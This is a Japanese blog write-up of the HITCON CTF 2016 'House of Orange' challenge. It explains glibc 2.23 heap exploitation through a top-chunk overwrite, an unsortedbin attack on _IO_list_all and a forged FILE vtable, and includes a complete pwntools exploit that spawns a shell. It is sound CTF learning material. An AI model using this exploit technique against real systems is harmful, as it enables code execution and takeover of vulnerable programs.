newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 18.0】House of Orange - HITCON CTF 2016

 

f:id:smallkirby:20200126024248p:plain

House of Orange

 

 

 

 

 

 

 

0: 参考

ctf-wiki.github.io

github.com

4ngelboy.blogspot.com

 

 

 

 1: イントロ

今更2016年のこの超有名問題を解くというのも懐古厨臭さが否めない

heap問題を解き始めたくらいのときに出会って当時はよくわからず放置していたが

この問題を解いていないことが無性に恥ずかしくなったためさっさと解いてしまうことにする

 

但し目的はHouser of Orangeの手法のおさらいであり

そのPoCを兼ねて HITCON CTF 2016pwn500点問題 "House of Orange" を解くという形である

(と最初は思っていたが、HoOを使った後のほうが格段に難しかった)

 

2: House of Orange

Recquirements

 

  • top chunkが以下の条件を全て満たすこと

   ・size >= MINSIZE(0x10)

   ・size < MINSIZE + user recquired chunk size

   ・PREV_INUSEが立っている

   ・top addr + top size が4KB(1P) alignされていること (つまりアドレスの下3nibbleが000であること)

  • 以上の条件を満たせるように

   ・topのsizeをoverwriteできるようなバグがあること

   ・ある程度任意サイズのchunkをmalloc()できること

 

概要

Houser of Orangeは2016年HITCONで出題された問題の名を冠するheapテクニックである

free()を任意に呼び出すことができない状態で、topをunsortedに繋ぐことを目的としている

(その後のunsorted attack -> _IO_list_all書き換えまでの流れを含むのかどうかはわからない)

 

解説

 方法自体は難しいことはなく

topのsizeを小さく書き換えて、次のmalloc()でbrk()を呼ぼうぜというだけ

但しあまりにでかいmalloc()をするとmmap()されるため注意

 

特筆すべきことはないが以下のページに詳しくまとまっている

ctf-wiki.github.io

 

 

 

3: PoC = HITCON2016

表層解析

./houseoforange: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al

 

name bufを任意サイズでmallocする "build"

確保したname bufに改めてread()する "update" という2つの操作があり

前者は4回、後者は3回のみ行うことができる

 

なお配布libcは2.23であるためDocker環境を用意して

その中にpwndbg等を入れてデバッグできるようにした

 

 

 

とっかかりの脆弱性

1=non-NULL terminated input

nameの入力時にread()を用いており入力がNULL終端されない

 

2=heap overflow

CTFなんてのはupdate()的な関数があったらまぁそこに自明な脆弱性がある

            printf("Length of name :");
            l20_len_name = read_int();
            if (0x1000 < l20_len_name) {
                l20_len_name = 0x1000;
            }
            printf("Name:");
            read_check(303068_cur_house->name,(ulong)l20_len_name);

update()に於いてbuild()時に確保したname bufに対してそのsizeを超えるような入力が可能になっている

ここでname bufのheap overflowが可能



libc_baseのleak (HoO)

これらの脆弱性を使うと以下のことが可能

・name bufのほぼ任意サイズのoverflowが可能(4回)

・故にname bufより上位アドレスのleakが可能(4回)

 

まず適当なname bufを作ってupdateし(1消費)、name bufのoverflowを用いてHouse of Orangeをする

直後に大きめのオレンジを作って_int_free()を呼び出し、topをunsortedに繋げる

続いてupdateしてHoOにより出現したmain_arenaのアドレスをleakする(2消費)

 

この時点で残りは update:1回 build:1回 である

unsortedのfdを書き換えるのにupdateを1回消費し

書き換えた先に書き込むのにbuildを1回消費してしまうため

unsortedのガード機構をごまかすための手段がない

 

そもそもそこを書き換えられたとしても

malloc()を呼ぶ手段すらなくなってしまうためone gadgetを発火させる手段がない

 

 

 

 

libc_baseのleakまでは簡単だったが、ここからの展開が思いつかない。。。

ということでここでangelboyさんのwriteupをカンニングした

 

 

 

 

abort()からの攻撃の概略

先程、memmory corruptionが起きてしまうから先に進めないと言ったが

このcorruptionによって呼ばれるabort()を利用してexploitを展開していく

 

 

_int_malloc()はcorruptionを検知した時 malloc_printerr() を呼ぶ

https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3470

 

*** Error in `./houseoforange': malloc(): memory corruption: 0x00005567aa4e6540 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f9fa99767e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f9fa998113e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f9fa9983184]
./houseoforange(+0xd6d)[0x5567a849ad6d]
./houseoforange(+0x1402)[0x5567a849b402]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f9fa991f830]
./houseoforange(+0xb19)[0x5567a849ab19]
======= Memory map: ========
5567a849a000-5567a849d000 r-xp 00000000 08:01 1629013                    /home/ctf/houseoforange
5567a869c000-5567a869d000 r--p 00002000 08:01 1629013                    /home/ctf/houseoforange
5567a869d000-5567a869e000 rw-p 00003000 08:01 1629013                    /home/ctf/houseoforange
5567aa4e6000-5567aa529000 rw-p 00000000 00:00 0                          [heap]
7f9fa4000000-7f9fa4021000 rw-p 00000000 00:00 0 
7f9fa4021000-7f9fa8000000 ---p 00000000 00:00 0 
7f9fa96e9000-7f9fa96ff000 r-xp 00000000 08:01 1452979                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f9fa96ff000-7f9fa98fe000 ---p 00016000 08:01 1452979                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f9fa98fe000-7f9fa98ff000 rw-p 00015000 08:01 1452979                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f9fa98ff000-7f9fa9abf000 r-xp 00000000 08:01 1452958                    /lib/x86_64-linux-gnu/libc-2.23.so
7f9fa9abf000-7f9fa9cbf000 ---p 001c0000 08:01 1452958                    /lib/x86_64-linux-gnu/libc-2.23.so
7f9fa9cbf000-7f9fa9cc3000 r--p 001c0000 08:01 1452958                    /lib/x86_64-linux-gnu/libc-2.23.so
7f9fa9cc3000-7f9fa9cc5000 rw-p 001c4000 08:01 1452958                    /lib/x86_64-linux-gnu/libc-2.23.so
7f9fa9cc5000-7f9fa9cc9000 rw-p 00000000 00:00 0 
7f9fa9cc9000-7f9fa9cef000 r-xp 00000000 08:01 1452938                    /lib/x86_64-linux-gnu/ld-2.23.so
7f9fa9ee6000-7f9fa9ee9000 rw-p 00000000 00:00 0 
7f9fa9eed000-7f9fa9eee000 rw-p 00000000 00:00 0 
7f9fa9eee000-7f9fa9eef000 r--p 00025000 08:01 1452938                    /lib/x86_64-linux-gnu/ld-2.23.so
7f9fa9eef000-7f9fa9ef0000 rw-p 00026000 08:01 1452938                    /lib/x86_64-linux-gnu/ld-2.23.so
7f9fa9ef0000-7f9fa9ef1000 rw-p 00000000 00:00 0 
7ffe2a452000-7ffe2a473000 rw-p 00000000 00:00 0                          [stack]
7ffe2a578000-7ffe2a57b000 r--p 00000000 00:00 0                          [vvar]
7ffe2a57b000-7ffe2a57d000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

 

上のエラーメッセージは malloc_printerr()内の__libc_message ()に於いて表示される

今回は以下のような引数で呼ばれていた

(本来はmalloc_printerr()内から呼ばれるのだが、案の定インラインになっててデバッグしにくいっすね。。。)

 

 ► 0x7f41edce2139 <_int_malloc+1465>    call   __libc_message <0x7f41edcd7510>
        rdi: 0x2
        rsi: 0x7f41eddf0ed8 ◂— sub    ch, byte ptr [rdx] /* "*** Error in `%s': %s: 0x%s ***\n" */

 

今回はdo_abort==2で呼ばれているため以下のif branchでabort()が呼ばれる

https://elixir.bootlin.com/glibc/glibc-2.23/source/sysdeps/posix/libc_fatal.c#L170

(abort()を呼ぶ前にBEFORE_ABORTというマクロでbefore_abort()という空っぽの関数を呼んでいる)

 

さて、abort()@stdlibに入っていく

https://elixir.bootlin.com/glibc/glibc-2.23/source/stdlib/abort.c#L49

 

abortにはいくつかのstageがあるのだが

今回は stage1 に注目する

(その他のstageについては今後まとめられたらまとめる)

 

stage1 ではいくつかのインライン関数を経て _IO_flush_all_lockp() が呼ばれる

https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/genops.c#L759

 

重要な部分を抜き出すと以下のようになる

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) //...★
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;
	
	(... snipped ...)
	
	if(...){
	...
	}else{
		fp = fp->_chain;
    }
}

 

_IO_list_all は以下のように定義される、_IO_FILE_plus構造体へのポインタである

DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);

struct _IO_FILE_plus *_IO_list_all = &_IO_2_1_stderr_;

 

最初は stderr を指している

_IO_FILE_plus は _IO_FILE構造体とvtableを持つ構造体であった

おさらいとしてstderrを見てみると以下のようになっている

f:id:smallkirby:20200126012831p:plain

_IO_FILE_plus

_chain変数は次の_IO_FILE_plus構造体を指しており、単方向リストを構成している

 

注目は 最後のvtableである

以下の様に定義されており、FILE構造体に結びついたハンドラのポインタが入っている

https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libioP.h#L307

 

試しに stderr のvtableを見てみると以下のようになっている

f:id:smallkirby:20200126013136p:plain

vtable

 

 

話を_IO_flush_all_lockp() に戻そう

 

fpには_IO_list_allが、すなわちstderrのアドレスが入っており

while文の末尾に於いてどんどんイテレートされていく

 

注目すべきは★のif文である

&&で結ばれた条件式があり、後者では_IO_OVERFLOW (fp, EOF) == EOFが評価される

_IO_OVERFLOWはいくらかのマクロを経た後に

fpの指す_IO_FILE_plusのvtableに入った__overflow関数が呼ばれることになる

 

 

まとめると

「memmory corruptionによってabort()が呼ばれて本来プログラムはオチるのだが

その際に_IO_list_allに登録された_IO_FILE_plus達のvtableの__overflowが呼ばれる」

 

 

よって今回はこの__overflowエントリをonegadgetsに書き換えることを目指す

 

 

unsortedbin attack

 典型的なunsortedbin attackによって任意アドレスの8byteを書き換えることができる

 今回は__IO_list_allを書き換えて、自分で作ったfake _IO_FILE_plusを指すようにしたい

 

任意アドレス書き換えは_int_malloc()に於いてunsortedをlistから外す際に行われる

https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3515

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

 

よって「unsorted chunkのbk」(=bck)を_IO_list_all-0x10にしておくことで

(_IO_list_all-0x10)->fd = _IO_list_all がmain_arenaのunsorted_chunkを指すように書き換わる

(2.27以降のlibcでは双方向リストのチェックが行われるため unsortedbin attack, House of Orangeともに使用できなくなっている。悲しいね)

逆に言えば、任意アドレスを書き換えることはできるが、あくまで書き換え先はこのアドレスにすることしかできない

 

 

 

_IO_FILE_plusのforge

_IO_list_allを書き換えたのだから、この固定アドレスは_IO_FILE_plusとして見られることになる

それでは何もしない状態ではどうなっているか見てみよう

以下はunsortedbin attack直後の状態である

 

f:id:smallkirby:20200126015659p:plain

unsortedbin attack直後の_IO_list_all

 

そりゃあ、まあ、ぐちゃぐちゃになっている

但しここで注目すべきは、fpをイテレートする際に次のfpとなる__chainの値が _chain = 0x559fe67365e0 になっていること

これは以下の画像が示すとおりsmallbinsを指している

f:id:smallkirby:20200126020014p:plain

このときのbins

 

そしてこのsmall chunkはupdate()によってあと1回だけなら好きに編集することができる

 

よって、1回目のfpは捨てて、2回目のfpに於いて自作_IO_FILE_plusを用いて_IO_OVERFLOWを呼ぶことを目指す

 

 

ここで_IO_OVERFLOWが呼ばれる文脈を振り返ってみると、_IO_OVERFLOWが評価されるためには以下の条件の前者が満たされることが必要であった

 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) //...★
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)

 

今回は fp->mode<=0 && fp->_IO_write_ptr > fp->_IO_write_base を満たすように調整する

それからvtable_offsetなどの正常な値であることが必要な部分も随時調整し

leakしたheap addrをもとにvtableのアドレスも計算して上書きしておき

vtableの__overflowエントリだけsystem(若しくはonegadget)を指すようにしておく

 

このようにして調整した forged _IO_FILE_plus は以下のようになった

f:id:smallkirby:20200126021329p:plain

forged _IO_FILE_plus

 

f:id:smallkirby:20200126021346p:plain

forged vtable

 

ということで準備は全て完了した

 

 

update()によってheapの状態を整えた後にbuild()を呼ぶと

_int_malloc()のunsortebinの処理for(;;)に於いて

1巡目: _IO_list_allをmain_arenaを指すようにunsortedbin attack

2巡目: memorry corruptionを検知してabort()される

  --> forged _IO_FILE_plusのvtableの__overflowが呼ばれてonegadgetが発火

 

 

 

4: exploit

#using glibc v2.23 on Ubuntu 16.04

#This exploit has some uncertainity due to the leaked heap address. When its last one byte is 0x00, exploit would collapse.

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "houseoforange"

rhp2 = {'host':"localhost",'port':7777}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

off_libc_arena = 0x3C4B20
off_libc_mallochook = 0x3C4B10
off_libc_IOlistall = 0x3C5520
off_libc_system = 0x45390

update_num = 0
update_max = 3
build_num = 0
build_max = 4

def hoge(conn,num):
  conn.recvuntil("Your choice : ")
  conn.sendline(str(num))

def build(conn,length,name,price,color):
  global build_max
  global build_num
  if build_max -1 == build_num:
    print("TOO MUCH build")
    raw_input("ENTER TO EXIT")
    exit(1)
  build_max += 1

  hoge(conn,1)
  conn.recvuntil("Length of name :")
  conn.sendline(str(length))
  conn.recvuntil("Name :")
  conn.send(name)
  conn.recvuntil("Price of Orange:")
  conn.sendline(str(price))
  conn.recvuntil("Color of Orange:")
  conn.sendline(str(color))

def see(conn):
  hoge(conn,2)

def update(conn,length,name,price,color):
  global update_max
  global update_num
  if update_max -1 == update_num:
    print("TOO MUCH UPDATE")
    raw_input("ENTER TO EXIT")
    exit(1)
  update_max += 1


  hoge(conn,3)
  conn.recvuntil("Length of name :")
  conn.sendline(str(length))
  conn.recvuntil("Name:")
  conn.send(name)
  conn.recvuntil("Price of Orange: ")
  conn.sendline(str(price))
  conn.recvuntil("Color of Orange: ")
  conn.sendline(str(color))

def giveup(conn):
  hoge(conn,3)


def exploit(conn):
  #invoke _int_free()
  Asize = 0x100
  Fsize = 0x1000
  Gsize = 0x400

  LSBs = 0xeb1
  build(conn,Asize,"A"*Asize,100,1)
  payload = "B"*Asize + "C"*0x8 + p64(0x21) + p32(2) + p32(0xc8) + "D"*0x8 + p64(0) + p64(LSBs)
  update(conn,len(payload),payload,200,2) #overwrite top size
  
  build(conn,Fsize,"F"*0x20,200,3) #invoke brk() and _int_free() (HoO)
  build(conn,Gsize,"G"*0x8,200,3)   #split the unsorted

  #leak libc_base
  see(conn)                         #leak main_arena+1640
  conn.recvuntil("Name of house : " + "G"*0x8)
  mainarena = unpack(conn.recvline().rstrip().ljust(8,'\0')) - 1640
  libcbase = mainarena - off_libc_arena 
  malloc_hook = libcbase + off_libc_mallochook
  IO_list_all = libcbase + off_libc_IOlistall
  system = libcbase + off_libc_system
  print("[+]main_arena: "+hex(mainarena))
  print("[+]libc base: "+hex(libcbase))
  print("[+]malloc_hook: "+hex(malloc_hook))
  print("[!]IO_list_all: "+hex(IO_list_all))
  print("[!]system: "+hex(system))

  #leak heap_addr
  update(conn,0x20,"H"*0x10,900,1)
  see(conn)
  conn.recvuntil("Name of house : " + "H"*0x10)
  heap_addr = unpack(conn.recvline().rstrip().ljust(8,'\0')) 
  print("[+]heap_addr: "+hex(heap_addr))
  info_addr = heap_addr + 0x460
  print("[+]info_addr: "+hex(info_addr)) 
  

  #
  injected_addr = heap_addr  #smallbin we can manipulate
  vtable_addr = injected_addr + 0x600
  onegadget = libcbase + 0x45216
  print("[+]vtable_addr: "+hex(vtable_addr))

  payload = p8(0x71)*(Gsize + 0x20)
  fake_file = "/bin/sh\0" + p64(0x61) #_IO_list_all would be overwriten to point to main_arena+88. When we look it as _IO_FILE*, its _chain would become here
  fake_file += p64(0x0) #fd
  fake_file += p64(IO_list_all-0x10) #bk
  
  fake_file += p8(0)*(0x20-len(fake_file))
  fake_file += p64(0x10) #char *_IO_write_base
  fake_file += p8(0)*(0x28-len(fake_file))
  fake_file += p64(0x100) #char *_IO_write_ptr
  fake_file += p8(0)*(0x82-len(fake_file))
  fake_file += p8(0) #signed char _vtable_offset
  fake_file += p8(0)*(0xc0-len(fake_file))
  fake_file += p32(0xffffffff) #int mode
  fake_file += p8(0)*20 #unused
  fake_file += p64(vtable_addr)
  payload += fake_file
  payload += p8(0)*(0x600 - len(payload) - 0x10)
  payload += p64(0)*3
  #payload += p64(onegadget) #either do I 
  payload += p64(system) 
  update(conn,0x800,payload,10,1)

  print("[-]payload length: "+hex(len(payload)))

  hoge(conn,1)



if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

5: 結果

サーバ側ではエラーメッセージが出て

exploit側では無事にシェルが取れた

 

f:id:smallkirby:20200126021931p:plain

 

 

 

6: アウトロ

今更使えるテクニックではないが、vtable書き換え等は普遍的に使えるし

ホストと異なるlibcでのデバッグにも慣れる練習になった

 

 

最近は相変わらず特に忙しいわけでもないが

何故かpwnから離れていたため、久しぶりに問題を解いて楽しかった

 

 

 

 

 

 

さぁ、来週締切の2つの課題と未だノータッチの7個くらいの試験勉強でもやろうかな

 

次回はHouse of Corrosionを試せたらと思います

 

 

 

 

 

 

続く・・・